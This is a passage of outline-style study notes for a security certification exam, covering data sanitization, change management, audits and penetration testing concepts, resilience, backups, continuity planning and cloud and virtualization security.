                - Utilizes a machine called a degausser to produce a strong magnetic field that can disrupt magnetic domains on storage devices like hard drives or tapes

        - Renders data on the storage medium unreadable and irretrievable
        - Permanent erasure of data but makes the device unusable
        - After degaussing, a device can no longer be used to store data
    - *Secure Erase*
        - Deletes data and ensures it can't be recovered
        - Implemented in firmware level of storage devices
        - Built-in erasure routine purges all data blocks
        - Deprecated in favor of cryptographic erase
    - *Cryptographic Erase (CE)*
        - Utilizes encryption technologies for data sanitization
        - Destroys or deletes encryption keys, rendering data unreadable
        - Quick and efficient method of sanitization
        - Supports device repurposing without data leakage
- *Destruction*
    - Goes beyond sanitization, ensures physical device is unusable
    - Recommended methods
        - Shredding
        - Pulverizing
        - Melting
        - Incinerating
    - Used for high-security environments, especially with Secret or Top Secret data
- *Certification*
    - Acts as proof that data or hardware has been securely disposed of
    - Important for organizations with regulatory requirements
    - Creates an audit log of sanitization, disposal, or destruction
- *Data Retention*

- Strategically deciding what to keep and for how long
- Data has a lifecycle from creation to disposal
- Reasons to retain data
    - Regulatory requirements
    - Historical analysis
    - Trend prediction
    - Dispute resolution
- Retaining everything is not feasible due to costs and security risks
    - The more you store, the more you must secure
- Clutter and excessive data require additional security measures

- *Data Protection*
    - All data needs protection from potential data breaches
    - More data requires more extensive security measures
    - Leads to higher costs and resource allocation
    - Excessive data complicates retrieval and analysis

- **Change Management**
    - *Change Management*
        - Orchestrated strategy to transition teams, departments, and organizations from existing state to a more desirable future state
            - Necessary in modern business environments due to constant changes
            - Change is essential but requires
                - Precision
                - Planning
                - Structured approach
            - Ensures changes are properly controlled, planned, and integrated to avoid

disruptions

- Challenges of Change
  - Unplanned or poorly coordinated changes can lead to resistance and confusion
  - Even seemingly simple changes, like software upgrades, can cause issues
  - Existing processes become disrupted by changes, impacting efficiency
- Change Approval and Assessment
  - Changes must be approved and assessed
  - Organizational processes and procedures for change approval
  - Assessment evaluates value and potential disruptions
  - *Change Advisory Board (CAB)*
    - Body of representatives from various parts of an organization that is responsible for evaluation of any proposed changes
    - Evaluates proposed changes before approval, assesses viability, impacts, and alignment with objectives
- *Change Owner*
  - Individual or team responsible for initiating change request
  - Advocates for the change, details reasons, benefits, and challenges
  - Key in presenting the case for the change
- *Stakeholders*
  - Individuals or teams with a vested interest in the proposed change
  - Directly impacted or involved in assessment and implementation
  - These individuals or teams must be
    - Consulted
    - Their feedback considered
    - Their concerns addressed
  - Include technical, business, and end-user stakeholders

- *Impact Analysis*
  - Integral part of the Change Management process
  - Essential before implementing proposed changes
  - Assesses potential fallout, immediate effects, long-term impacts
  - Identifies challenges and prepares for maximizing benefits

- **Change Management Processes**
  - Five Main Steps in Change Management
    - Preparing for the Change
      - Understand the current state and need for transition
      - Assess existing processes and identify inefficiencies and challenges
      - Gather necessary resources, engage stakeholders, and ensure readiness.
    - Creating a Vision for the Change
      - Craft a clear and compelling vision for change
      - Defining the following
        - Desired future state
        - Reasons for the change
        - Success criteria
      - Inspire enthusiasm and buy-in across stakeholders
    - Implementing the Change
      - Put the plan into action, which may involve
        - Training
        - Restructuring,
        - Introducing new tools
      - Maintain continuous communication with stakeholders
      - Address concerns and be open to feedback to reduce resistance

- Verifying the Change
  - Measure the effectiveness and ensure desired outcomes are achieved
  - It might require the following
    - Surveys
    - Metrics analysis
    - Stakeholder interviews
  - Address discrepancies or issues to refine and optimize the process
- Documenting the Change
  - Maintain historical records of implemented changes
  - Capture lessons learned for future reference
  - Reflect on past initiatives and improve change management practices

- Key Aspects of the Change Management Process
  - *Scheduled Maintenance Window*
    - Designated timeframes for implementing changes
    - Reduces potential disruptions to daily operations
    - Allows flexibility for emergency changes
  - *Backout Plan*
    - Pre-determined strategy to revert systems to their original state in case of issues during change implementation
    - Acts as a safety net for ensuring quick return to normal operations
  - Testing the Results
    - Validates the success of the change by conducting tests on systems and operational processes after implementation
    - Ensures desired outcomes and identifies areas needing further adjustments

- *Standard Operating Procedures (SOPs)*
  - Detailed step-by-step instructions for specific tasks
  - Ensures consistency, efficiency, and reduces errors in change implementation within the organization

- **Technical Implications of Changes**
  - Technical Implications of Changes
    - Allow Lists and Deny Lists
      - *Allow List*
        - Specifies entities permitted to access a resource
      - *Deny List*
        - Lists entities prevented from accessing a resource
      - Review both lists when proposing changes to prevent unintended access restrictions or grants
      - Essential for maintaining system functionality and security
    - Restricted Activities
      - Certain tasks labeled as 'restricted' due to their impact on system health or security
      - Verify proposed changes for any restricted activities
      - Prevent data breaches and operational disruptions by understanding restrictions
    - Downtime
      - Any change, even minor, carries the risk of causing downtime
      - Estimate potential downtime and assess its negative effects against benefits
      - Schedule changes during maintenance windows to minimize impacts on

end users

- Service and Application Restarts
  - Some changes, like installing security patches, require service or application restarts
  - Restarting critical services can be disruptive, potentially causing data loss or backlog
  - Consider the implications of restarts, especially for key servers
- Legacy Applications
  - Older software or systems still in use due to functionality and user needs
  - Legacy applications are less flexible and more sensitive to changes
  - Minor updates can lead to malfunctions or crashes, so assess their compatibility.
- Dependencies
  - Interconnected systems create dependencies, where changes in one area affect others
  - Mapping dependencies is crucial before implementing changes
  - Prevents cascading effects, outages, or disruptions in various parts of your network

- **Documenting Changes**
  - Documenting changes provides a clear history of the what, when, and why for accountability and future reference
  - *Version Control*
    - Tracks and manages changes in documents, software, and other files
    - Allows multiple users to collaborate and revert to previous versions when needed

- Ensures changes do not create chaos and helps track project evolution
- Preserves past iterations and ensures continuity and stability

- Proper Documentation
  - All accompanying documentation should be updated when implementing a change
  - Updates should reflect the implementation of the change, from minor configurations to major network overhauls
  - Key elements of proper documentation
    - Updating diagrams to provide a visual representation of system architecture
    - Revising policies and procedures to address issues or improvements
    - Updating change requests and trouble tickets to reflect successful completion
  - Proper documentation is critical for clarity and accountability
- Continuous Improvement
  - After implementing a change, evaluate the process and its success
  - Identify issues and revise policies and procedures to prevent recurrence
  - Emphasizes iterative process improvement to ensure smoother future changes
  - Learn from past mistakes for better change management practices
- Importance of Records
  - Change requests and trouble tickets help create a clear timeline of change actions
  - Inform stakeholders and provide a record of change history for future reference
  - Records are essential for communication and accountability in change management

Audits and Assessments

Objective 5.5: Explain types and purposes of audits and assessments

- **Internal Audits and Assessments**
    - *Internal Audits*
        - Systematic evaluations conducted by an organization's own audit team
        - Assess the effectiveness of internal controls, compliance with regulations, and the integrity of information systems and processes
        - Focus areas may include
            - Data protection
            - Network security
            - Access controls
            - Incident response procedures
        - Examples of internal audit focus areas
            - Password policies
            - User access controls
        - Process
            - Reviewing policies and procedures
            - Examining access rights
            - Testing effectiveness of controls
            - Findings documented for recommendations and improvements
        - Concepts in Internal Audits
            - *Compliance Requirements*
                - Ensuring adherence to established standards, regulations, and

laws

- Compliance is essential for protecting sensitive data and avoiding legal penalties
- Internal audits may be required for compliance with specific laws or regulations

- *Audit Committee*
  - A group, often comprising members of a company's board of directors, overseeing audit and compliance activities
  - Responsibilities
    - Reviewing financial reporting
    - Internal controls
    - Internal and external audits
    - Legal and regulatory compliance
  - Addresses issues raised by auditors

- *Internal Assessments*
  - Conducted to identify and evaluate potential risks and vulnerabilities in an organization's information systems
  - Commonly performed before implementing new systems or making significant changes to existing ones
  - *Self-assessments*
    - Internal evaluations assessing compliance with specific standards or regulations
  - Vulnerability assessments, threat modeling exercises, and risk assessments are part of internal assessments
  - Assisted internal assessments may involve dedicated assessment groups
  - Internal Assessment Process

- *Threat Modeling Exercise*
  - Identifies potential threats to applications (e.g., SQL injection, XSS, DoS attacks)
- *Vulnerability Assessment*
  - Uses automated scanning tools and manual testing techniques to identify known vulnerabilities and code weaknesses
- *Risk Assessment*
  - Evaluates the potential impact of the following
    - Identified threats and vulnerabilities
    - Considering likelihood
    - Potential damage
    - Cost of security measures

- Mitigation Strategies
  - Recommendations to address risks and vulnerabilities
    - Code fixes
    - Additional security controls
    - Architectural changes

- **Performing an Internal Assessment**
  - *Internal Assessment*
    - Proactive evaluation of an organization's security posture
    - Helps to identify and address potential risks and vulnerabilities in information systems
  - Using a Sample Checklist
    - The specific checklists and procedures for an internal assessment may vary based on the following

- Organization's governance
- Risk
- Compliance practices

- A sample checklist from the Minnesota Counties Intergovernmental Trust (MCIT) is used
- *MCIT Cybersecurity Self-Assessment*
  - MCIT's Cybersecurity Self-Assessment checklist is designed to help organizations minimize data and cybersecurity-related exposures
  - It assists in identifying areas where data security may need strengthening
  - The checklist comprises yes-or-no questions with sections for comments and action items
  - Action items are assigned to specific individuals or groups responsible for implementing corrective actions

- Collaborative Approach
  - To maximize the checklist's effectiveness, involve a diverse group of participants from across the organization
    - Administration team
    - Information technology staff
    - Cybersecurity professionals
- Overview of the Checklist
  - The checklist is broad and aims to provide a quick overview of the organization's current risk posture
  - Organizations may use different checklists or variations with distinct questions
  - The general format and purpose of self-assessments are consistent across most organizations

- **External Audits and Assessments**
  - *External Audits and Assessments*
    - Essential tools for maintaining a robust security posture and ensuring regulatory compliance
    - Conducted by independent third parties to provide an unbiased perspective on an organization's security
  - *External Audits*
    - Systematic evaluations conducted by independent entities
    - Assess information systems, applications, and security controls
    - Focuses on various areas
      - Data protection
      - Network security
      - Access controls
      - Incident response procedures
    - Objective is to identify gaps in security policies and controls for compliance with regulatory standards such as
      - GDPR
      - HIPAA
      - PCI DSS
  - *External Assessments*
    - Detailed analysis by independent entities to identify vulnerabilities and risks in an organization's security systems
    - Utilize automated scanning tools and manual testing techniques
    - External assessments can take various forms
      - Risk assessments
      - Vulnerability assessments

        - Threat assessments
    - Regulatory Compliance
        - The goal is to ensure organizations comply with relevant laws, policies, and regulations
        - Organizations adopt consolidated and harmonized sets of compliance controls to achieve regulatory compliance, e.g., NIST Cybersecurity Framework
        - Compliance includes adherence to industry-specific rules (e.g., HIPAA, PCI DSS) and more generalized regulations like GDPR
    - *Examinations*
        - Detailed inspections of an organization's security infrastructure conducted externally
        - Cover various areas
            - Network security
            - Data protection
            - Access controls
        - May include testing of the following
            - Key personnel
            - Certifications
            - Standardized assessments
        - Crucial for maintaining a strong security posture and regulatory compliance.
    - Independent Third-Party Audits
        - Provide an unbiased perspective on an organization's security posture
        - Validate security measures and build trust with
            - Customers
            - Stakeholder
            - Regulatory bodies

- Required by regulations like GDPR and PCI DSS for organizations to undergo regular independent third-party audits

- **Performing an External Assessment**
  - *External Assessment*
    - Part of maintaining a robust security posture and ensuring compliance
    - May vary based on the following
      - Organization's governance
      - Risk
      - Compliance practices
    - Sample checklist used for a HIPAA external assessment from the government of San Bernardino County, California as a demonstration
    - Purpose is to validate compliance with specific regulations and minimize cybersecurity risks
  - Preparing for a HIPAA External Assessment
    - Examiners provide a checklist of questions that organizations must answer
    - Questions are answered as either "yes" or "no"
    - Evidence files, such as documents or links, must be provided to demonstrate compliance
  - Sample Checklist
    - Questions cover various aspects like general information, policies, procedures, and employee training
    - Organizations must provide evidence files as proof of compliance
    - External assessments aim to provide a quick overview of the organization's current risk posture

- **Penetration Testing**
  - *Penetration Testing (Pentesting)*
    - Simulated cyber attack to identify exploitable vulnerabilities in a computer system
    - Assesses systems for potential weaknesses that attackers could exploit
    - Various types include
      - Physical
      - Offensive
      - Defensive
      - Integrated
  - *Physical Penetration Testing*
    - Evaluates an organization's physical security measures
    - Examples
      - Testing locks
      - Access card
      - Security cameras
    - Identifies vulnerabilities and recommends improvements for enhanced physical security
    - Benefits
      - Improved security awareness
      - Preventing unauthorized access
  - *Offensive Penetration Testing*
    - Known as “red teaming”
    - Actively seeks vulnerabilities and attempts to exploit them, like a real cyber attack
    - Helps uncover and report vulnerabilities to improve security

        - Can simulate real-world attacks and gain support for cybersecurity investments
    - *Defensive Penetration Testing*
        - Known as “blue teaming”
        - A reactive approach focused on strengthening systems, detecting and responding to attacks
        - Monitors for unusual activity and improves incident response times
        - Enhances detection capabilities and helps improve incident response
    - *Integrated Penetration Testing*
        - Known as “purple teaming”
        - Combines elements of offensive and defensive testing
        - Red team conducts offensive attacks, while the blue team detects and responds
        - Encourages collaboration and learning between the red and blue teams
        - Benefits
            - Comprehensive security assessment
            - Promotes collaboration within cybersecurity teams
            - Conducts simulated attacks and responses to improve skills

- **Reconnaissance in Pentesting**
    - *Reconnaissance*
        - Initial phase where an attacker gathers information about the target system
        - Information helps plan the attack and increase its success rate
    - Importance of Reconnaissance
        - Crucial step in penetration testing
        - Identifies potential vulnerabilities in the target system
        - Helps plan the attack to reduce the risk of detection and failure

- Types of Reconnaissance
  - *Active Reconnaissance*
    - Engaging with the target system directly, such as scanning for open ports using tools like Nmap
  - *Passive Reconnaissance*
    - Gathering information without direct engagement, like using open-source intelligence or WHOIS to collect data
- Reconnaissance and Environment Types
  - *Known Environment*
    - Penetration testers have detailed information about the target infrastructure
    - Focuses on known assets
    - Evaluates vulnerabilities and weaknesses
    - Aims to understand exploitability and potential damages
    - Resembles an insider threat scenario
  - *Partially Known Environment*
    - Testers have limited information, simulating a scenario where an attacker has partial inside knowledge
    - Focus on discovering and navigating the broader environment
  - *Unknown Environment*
    - Minimal to no information about the target system
    - Simulates a real-world external attacker aiming to find entry points and vulnerabilities
    - Extensive reconnaissance is essential

- **Performing a Basic PenTest**
  - *Metasploit*
    - Multipurpose computer security and penetration testing framework
    - Has a wide array of powerful tools for conducting penetration tests

- **Attestation of Findings**
  - *Attestation*
    - Involves formal validation or confirmation provided by an entity to assert the accuracy and authenticity of specific information
    - Crucial in internal and external audits to ensure the reliability and integrity of the following
      - Data
      - Systems
      - Processes
  - Attestation of Findings in Penetration Testing
    - Used to prove that a penetration test occurred and validate the findings
    - May be required for compliance or regulatory purposes (e.g., GLBA, HIPAA, Sarbanes-Oxley, PCI DSS)
    - Includes a summary of findings and evidence of the security assessment
    - Evidence helps to prove that identified vulnerabilities and exploits are valid
    - The difference between attestation and the report
      - Attestation includes evidence
      - Report focuses on findings and recommended remediation
    - A letter of attestation may be provided to prove the occurrence of the penetration testing, especially when required by third parties interested in network security

- Types of Attestation
  - *Software Attestation*
    - Involves validating the integrity of software to ensure it hasn't been tampered with
  - *Hardware Attestation*
    - Validates the integrity of hardware components to confirm they haven't been tampered with
  - *System Attestation*
    - Validates the security posture of a system, often related to compliance with security standards
- Attestation in Audits
  - In internal audits, attestation evaluates organizational compliance, effectiveness of internal controls, and adherence to policies and procedures
  - In external audits, third-party entities provide attestation on financial statements, regulatory compliance, and operational efficiency
  - Attestation builds trust, enhances transparency, ensures accountability, and is essential for stakeholders in making informed decisions

Cyber Resilience and Redundancy

Objective 3.4: Explain the importance of resilience and recovery in security architecture

- **High Availability**
  - High Availability Basics
    - *High Availability*
      - Aims to keep services continuously available by minimizing downtime
      - Achieved through load balancing, clustering, redundancy, and multi-cloud strategies
  - Uptime and Availability Standards
    - *Uptime*
      - The time a system remains online, typically expressed as a percentage
    - *Five nines*
      - Refers to 99.999% uptime, allowing only about 5 minutes of downtime per year
    - *Six nines*
      - Refers to 99.9999% uptime, allows just 31 seconds of downtime per year
  - *Load Balancing*
    - Distributes workloads across multiple resources
    - Optimizes resource use, throughput, and response time
    - Prevents overloading of any single resource
    - Incoming requests are directed to capable servers
  - *Clustering*
    - Uses multiple computers, storage devices, and network connections as a single

system

- Provides high availability, reliability, and scalability
- Ensures continuity of service even in case of hardware failure
- Can be combined with load balancing for robust solutions

- *Redundancy*
  - Involves duplicating critical components to increase system reliability
  - Redundancy can be implemented by adding multiple
    - Power supplies
    - Network connections
    - Servers
    - Software services
    - Service providers
  - Prevents single points of failure in systems
  - Examples
    - Redundant power supplies
    - Network connections
    - Backup servers
- *Multi-Cloud Approach*
  - Distributes data, applications, and services across multiple cloud providers
  - Mitigates the risk of a single point of failure
  - Offers flexibility for cost optimization
  - Aids in avoiding vendor lock-in
  - Requires proper data management, unified threat management, and consistent policy enforcement for security and compliance
- *Strategic Planning*
  - Design a robust system architecture to achieve high availability

- Utilize load balancing, clustering, redundancy, and multi-cloud approaches
- Proactive measures reduce the risk of service disruptions and downtime costs
- Safeguard organizational continuity and reliability in a competitive environment

- **Data Redundancy**
  - RAID Overview
    - *RAID (Redundant Array of Independent Disks)*
      - Combines multiple physical storage devices into a single logical storage device recognized by the operating system
  - *RAID 0*
    - Provides data striping across multiple disks
    - Used for improved performance but offers no data redundancy
    - Multiple drives increase read and write speeds
    - Suitable for scenarios where performance is essential, and data redundancy is not a concern
  - *RAID 1*
    - Provides redundancy by mirroring data identically on two storage devices
    - Ensures data integrity and availability
    - Suitable for critical applications and maintains a complete copy of data on both devices
    - Only one storage device can fail without data loss or downtime
  - *RAID 5*
    - Utilizes striping with parity across at least three storage devices
    - Offers fault tolerance by distributing data and parity
    - Can continue operations if one storage device fails
    - Data reconstruction is possible but results in slower access speeds

- *RAID 6*
  - Similar to RAID 5 but includes double parity data
  - Requires at least four storage devices
  - Can withstand the failure of two storage devices without data loss
- *RAID 10*
  - Combines RAID 1 (mirroring) and RAID 0 (striping)
  - Offers high performance, fault tolerance, and data redundancy
  - Requires an even number of storage devices, with a minimum of four
- RAID Resilience Categories
  - *Failure-resistant*
    - Resists hardware malfunctions through redundancy (e.g., RAID 1)
  - *Fault-tolerant*
    - Allows continued operation and quick data rebuild in case of failure (e.g., RAID 1, RAID 5, RAID 6, RAID 10)
  - *Disaster-tolerant*
    - Safeguards against catastrophic events by maintaining data in independent zones (e.g., RAID 1, RAID 10)
- RAIDs are essential for ensuring data redundancy, availability, and performance in enterprise networks
- The choice of RAID type depends on specific requirements for performance and fault tolerance

- **Capacity Planning**
    - *Capacity Planning*
        - Critical strategic planning effort for organizations
        - Ensures an organization is prepared to meet future demands in a cost-effective manner
    - Four Main Aspects of Capacity Planning
        - People
            - Analyze current personnel skills and capacity
            - Forecast future personnel needs for hiring, training, or downsizing
            - Ensure the right number of people with the right skills for strategic objectives
            - Example
                - Hiring seasonal employees for holiday retail demand
        - Technology
            - Assess current technology resources and their usage
            - Predict future technology demands
            - Consider scalability and potential investments in new technology
            - Example
                - Ensuring an e-commerce platform can handle traffic spikes
        - Infrastructure
            - Plan for physical spaces and utilities to support operations
            - Includes office spaces, data centers, and more
            - Optimize space and power consumption
            - Example
                - Data center capacity planning for server installations

        - Processes
            - Optimize business processes for varying demand levels
            - Streamline workflows, improve efficiency, and consider outsourcing
            - Example
                - Automating employee onboarding to handle high demand

- **Powering Data Centers**
    - Key Terms
        - *Surges*
            - Sudden, small increases in voltage beyond the standard level (e.g., 120V in the US)
        - *Spikes*
            - Short-lived voltage increases, often caused by short circuits, tripped breakers, or lightning
        - *Sags*
            - Brief decreases in voltage, usually not severe enough to cause system shutdown
        - *Undervoltage Events (Brownouts)*
            - Prolonged reduction in voltage, leading to system shutdown
        - *Power Loss Events (Blackouts)*
            - Complete loss of power for a period, potentially causing data loss and damage
    - Power Protection Components
        - *Line Conditioners*
            - Stabilize voltage supply and filter out fluctuations
            - Mitigate surges, sags, and undervoltage events

- Prevent unexpected system behavior and hardware degradation
- Unsuitable for significant undervoltage events or complete power failures

■ *Uninterruptible Power Supplies (UPS)*

- Provide emergency power during power source failures
- Offer line conditioning functions
- Include battery backup to maintain power during short-duration failures
- Typically supply 15 to 60 minutes of power during a complete power failure

■ *Generators*

- Convert mechanical energy into electrical energy for use in an external circuit through the process of electromagnetic induction
- Backup generators supply power during power grid outages
- Smaller generators for limited applications (e.g., emergency lighting)
- Different Types of Generators
  - Portable gas-engine generators
  - Permanently installed generators
  - Battery-inverter generators

■ *Power Distribution Centers (PDC)*

- Central hub for power reception and distribution
- Includes circuit protection, monitoring, and load balancing
- Integrates with UPS and backup generators for seamless transitions during power events

○ Considerations for Data Centers

■ Large data centers use rack-mounted UPS for server protection

■ UPS provides line conditioning and battery backup for 10-15 minutes

■ Power distribution units manage load balancing and line conditioning

        - Backup generators are crucial for extended power outages but require startup time
        - Building data centers with redundancy and protections tailored to use cases and budgets

- **Data Backups**
    - *Data Backup*
        - Creating duplicate copies of digital information to protect against data loss, corruption, or unavailability
        - Safeguards data from accidental deletion or system failures
    - Onsite and Offsite Backups
        - *Onsite Backup*
            - Storing data copies in the same location as the original data
        - *Offsite Backup*
            - Storing data copies in a geographically separate location
        - Importance
            - Onsite backups are convenient but vulnerable to disasters
            - Offsite backups protect against physical disasters
    - Backup Frequency
        - Determining factor of backup frequency is the organization's RPO
            - *Recovery Point Objective (RPO)*
                - Ensures that the backup plan will maintain the amount of data required to keep any data loss under the organization's RPO threshold
        - Considerations
            - Data change rate

- Resource allocation
- Organizational needs

- *Encryption*
  - Fundamental safeguard that protects the backup data from unauthorized access and potential breaches
    - *Data-at-rest Encryption*
      - Encrypting data as it is written to storage
    - *Data-in-transit Encryption*
      - Protecting data during transmission
    - Importance
      - Safeguarding backup data from unauthorized access and breaches
- *Snapshots*
  - Point-in-time copies capturing a consistent state
  - Records only changes since the previous snapshot, reducing storage requirements
  - Use cases
    - Valuable for systems where data consistency is critical, like databases and file servers
- Data Recovery
  - Several key steps in the data recovery process
    - Selection of the right backup
    - Initiating the recovery process
    - Data validation
    - Testing and validation
    - Documentation and reporting
    - Notification

        - Importance
            - Regaining access to data in case of loss or system failure; a well-defined and tested recovery plan is essential
    - *Replication*
        - Real-time or near-real-time data copying to maintain data continuity
        - Benefits
            - Ensures seamless data continuity
            - Suitable for high-availability environments
    - *Journaling*
        - Maintaining a detailed record of data changes over time
        - Benefits
            - Enables granular data recovery
            - Maintains an audit trail
            - Ensures data integrity and compliance
        - Considerations
            - Data tracking granularity, size, retention policies, and security

- **Continuity of Operations Plan**
    - *Continuity of Operations Plan (COOP)*
        - Ensures an organization's ability to recover from disruptive events or disasters
        - Requires detailed planning and forethought
    - Key Terms
        - *Business Continuity Planning (BC Plan)*
            - Plans and processes for responding to disruptive events
            - Addresses a wide range of threats and disruptive incidents
            - Involves preventative actions and recovery steps

- Can cover both technical and non-technical disruptions
- *Disaster Recovery Plan (DRP)*
  - Focuses on plans and processes for disaster response
  - Subset of the BC Plan
  - Focuses on faster recovery after disasters
  - Addresses specific events like hurricanes, fires, or floods

- Strategies for Business Continuity
  - Consider alternative locations for critical infrastructure
  - Distribute staff across multiple geographic regions
  - Use cloud services to maintain operations during disasters
- The Role of Senior Management
  - Senior managers are responsible for developing the BC Plan
  - Goals for BC and DR efforts should be set by senior management
  - Appoint a Business Continuity Coordinator to lead the Business Continuity Committee
- Business Continuity Committee
  - Comprises representatives from various departments (IT, Legal, Security, Communications, etc.)
  - Determines recovery priorities for different events
  - Identifies and prioritizes systems critical for business continuity
- Defining Scope
  - Senior management decides the plan's scope based on risk appetite and tolerance
  - Can be broken down by business function or geographical area
  - All components must be coherent and compatible for crisis situations

- **Redundant Site Considerations**
  - *Redundant Site*
    - Backup location or facility that can take over essential functions and operations in case the primary site experiences a failure or disruption
  - Types of Continuity Locations
    - *Hot Sites*
      - Up and running continuously, enabling a quick switchover
      - Requires duplicating all infrastructure and data
      - Expensive, but provides instant availability
    - *Warm Sites*
      - Not fully equipped, but fundamentals in place
      - Can be up and running within a few days
      - Cheaper than hot sites but with a slight delay
    - *Cold Sites*
      - Fewer facilities than warm sites
      - May be just an empty building, ready in 1-2 months
      - Cost-effective but adds more recovery time
    - *Mobile Sites*
      - Can be hot, warm, or cold
      - Utilizes portable units like trailers or tents
      - Offers flexibility and quick deployment (e.g., military DJC2)
  - Platform Diversity
    - Critical for effective virtual redundant sites
    - Diversify operating systems, network equipment, and cloud platforms
    - Reduces the risk of a single point of failure
    - Ensures resilience and adaptability in case of disruptions

- Virtual Sites
  - Leveraging cloud-based environments for redundancy
  - *Virtual Hot Site*
    - Fully replicated and instantly accessible in the cloud
  - *Virtual Warm Site*
    - Involves scaling up resources when needed
  - *Virtual Cold Site*
    - Minimizes ongoing costs by activating resources only during disasters
  - Offers scalability, cost-effectiveness, and easy maintenance
- Geographic Dispersion
  - Spreading resources across different locations for higher redundancy
  - Mitigates the risk of localized outages
  - Enhances disaster recovery capabilities
- Considerations for Redundant Site Selection
  - Think about technology stack, people's workspace, and long-term support
  - Determine which type of redundant site suits your organization's needs
  - Ensure continuity of essential functions and services in the event of disruptions

- **Resilience and Recovery Testing**
  - *Resilience Testing*
    - Assess system's ability to withstand and adapt to disruptive events
    - Ensures the system can recover from unforeseen incidents
    - Conducted through tabletop exercises, failover tests, simulations, and parallel processing
    - Helps prepare for events like power loss, natural disasters, ransomware attacks, and data breaches

- *Recovery Testing*
  - Evaluates the system's capacity to restore normal operation after a disruptive event
  - Involves executing planned recovery actions
  - Performed through failover tests, simulations, and parallel processing
  - Ensures that planned recovery procedures work effectively in a real-world scenario
- *Tabletop Exercises*
  - Scenario-based discussion among key stakeholders
  - Assess and improve an organization's preparedness and response
  - No deployment of actual resources
  - Identifies gaps and seams in response plans
  - Promotes team-building among stakeholders
  - Low-cost and engaging for participants
- *Failover Tests*
  - Controlled experiment for transitioning from primary to backup components
  - Ensures uninterrupted functionality during disasters
  - Requires more resources and time
  - Validates the effectiveness of disaster recovery plans
  - Can identify and rectify issues in the failover process
- *Simulations*
  - Computer-generated representation of a real-world scenario
  - Allows for hands-on response actions in a virtual environment
  - Assesses incident responders and system administrators in real-time
  - Helps evaluate reactions and staff performance
  - Provides feedback for learning and improvement

- *Parallel Processing*
  - Replicates data and system processes onto a secondary system
  - Runs primary and secondary systems concurrently
  - Tests reliability and stability of the secondary setup
  - Ensures no disruption to day-to-day operations
  - Assesses the system's ability to handle multiple failure scenarios simultaneously
  - Uses of Parallel Processing
    - Resilience testing
      - Tests the ability of the system to handle multiple failure scenarios
    - Recovery testing
      - Tests the efficiency of the system to recover from multiple points of failure

Security Architecture

Objectives:

- 3.1 - Compare and contrast security implications of different architecture models
- 4.1 - Given a scenario, apply common security techniques to computing resources

- **On-premise versus the Cloud**
  - *Cloud Computing*
    - Delivery of computing services over the internet, including servers, storage, databases, networking, software, analytics, and intelligence
    - Advantages
      - Faster innovation
      - Flexible resources
      - Economies of scale
  - *Responsibility Matrix*
    - Outlines the division of responsibilities between the cloud service provider and the customer
  - *Third-Party Vendors*
    - Provides specialized services to enhance functionality, security, and efficiency of cloud solutions
  - *Hybrid Solutions*
    - Combined on-premise, private cloud, and public cloud services, allowing workload flexibility
    - Considerations
      - Sensitive data is protected

        - Regulatory requirements are met
        - Systems can communicate with each other
        - The solution is cost-effectiveness
    - *On-Premise Solutions*
        - Computing infrastructure physically located on-site at a business
    - Key Considerations in Cloud Computing
        - Availability
            - System's ability to be accessed when needed
        - Resilience
            - System's ability to recover from failures
        - Cost
            - Consider both upfront and long-term costs
        - Responsiveness
            - Speed at which the system can adapt to demand
        - Scalability
            - System's ability to handle increased workloads
        - Ease of Deployment
            - Cloud services are easier to set up than on-premise solutions
        - Risk Transference
            - Some risks are transferred to the provider, but customers are responsible for security
        - Ease of Recovery
            - Cloud services offer easy data recovery and backup solutions
        - Patch Availability
            - Providers release patches for vulnerabilities automatically

- Inability to Patch
  - Compatibility issues or lack of control can hinder patching
- Power
  - Cloud provider manages infrastructure, including power supply
  - Reduces customer costs and eliminates power management concerns
- Compute
  - Refers to computational resources, including CPUs, memory, and storage
  - Cloud providers offer various compute options to suit different needs

- Remember
  - Cloud computing offers flexibility, scalability, and cost-effectiveness
  - On-premise solutions provide control and security but can be expensive and challenging to maintain
  - Hybrid solutions offer flexibility and control but require considerations of security, compliance, interoperability, and cost

- **Cloud Security**
  - Shared Physical Server Vulnerabilities
    - In cloud environments, multiple users share the same physical server
      - Compromised data from one user can potentially impact others on the same server
    - Mitigation
      - Implement strong isolation mechanisms (e.g., hypervisor protection, secure multi-tenancy)
      - Perform regular vulnerability scanning, and patch security gaps
  - Inadequate Virtual Environment Security
    - Virtualization is essential in cloud computing

- Inadequate security in the virtual environment can lead to unauthorized access and data breaches

- Mitigation
  - Use secure VM templates
  - Regularly update and patch VMs
  - Monitor for unusual activities
  - Employ network segmentation to isolate VMs

- User Access Management
  - Weak user access management can result in unauthorized access to sensitive data and systems
  - Mitigation
    - Enforce strong password policies
    - Implement multi-factor authentication
    - Limit user permissions (Principle of Least Privilege)
    - Monitor user activities for suspicious behavior

- Lack of Up-to-date Security Measures
  - Cloud environments are dynamic and require up-to-date security measures
    - Failure to update can leave systems vulnerable to new threats
  - Mitigation
    - Regularly update and patch software and systems
    - Review and update security policies
    - Stay informed about the latest threats and best practices

- Single Point of Failure
  - Cloud services relying on specific resources or processes can lead to system-wide outages if they fail

- Mitigation
  - Implement redundancy and failover procedures
  - Use multiple servers, data centers, or cloud providers
  - Regularly test failover procedures
- Weak Authentication and Encryption Practices
  - Weak authentication and encryption can expose cloud systems and data
  - Mitigation
    - Use multi-factor authentication
    - Strong encryption algorithms
    - Secure key management practices
- Unclear Policies
  - Unclear security policies can lead to confusion and inconsistencies in implementing security measures
  - Mitigation
    - Develop clear, comprehensive security policies covering data handling, access control, incident response, and more
    - Regularly review and update policies and provide effective communication and training
- Data Remnants
  - *Data Remnants*
    - Residual data left behind after deletion or erasure processes
    - In a cloud environment, data may not be completely removed, posing a security risk
  - Mitigation
    - Implement secure data deletion procedures
    - Use secure deletion methods

        - Manage backups securely
        - Verify data removal after deletion
    - Remember that cloud security is a shared responsibility

- **Virtualization and Containerization**
    - *Virtualization*
        - Emulates servers, each with its own OS within a virtual machine
    - *Containerization*
        - Lightweight alternative, encapsulating apps with their OS environment
        - Key Benefits
            - Efficiency and Speed
            - Portability
            - Scalability
            - Isolation
            - Consistency
    - Hypervisors
        - Two Types of Hypervisors
            - *Type 1 (Bare Metal)*
                - Runs directly on hardware (e.g., Hyper-V, XenServer, ESXi)
            - *Type 2 (Hosted)*
                - Operates within a standard OS (e.g., VirtualBox, VMware)
    - Virtualization Vulnerabilities
        - *Virtual Machine (VM) Escape*
            - Attackers break out of isolated VMs to access the hypervisor
        - *Privilege Elevation*
            - Unauthorized elevation to higher-level users

        - *Live VM Migration*
            - Attacker captures unencrypted data between servers
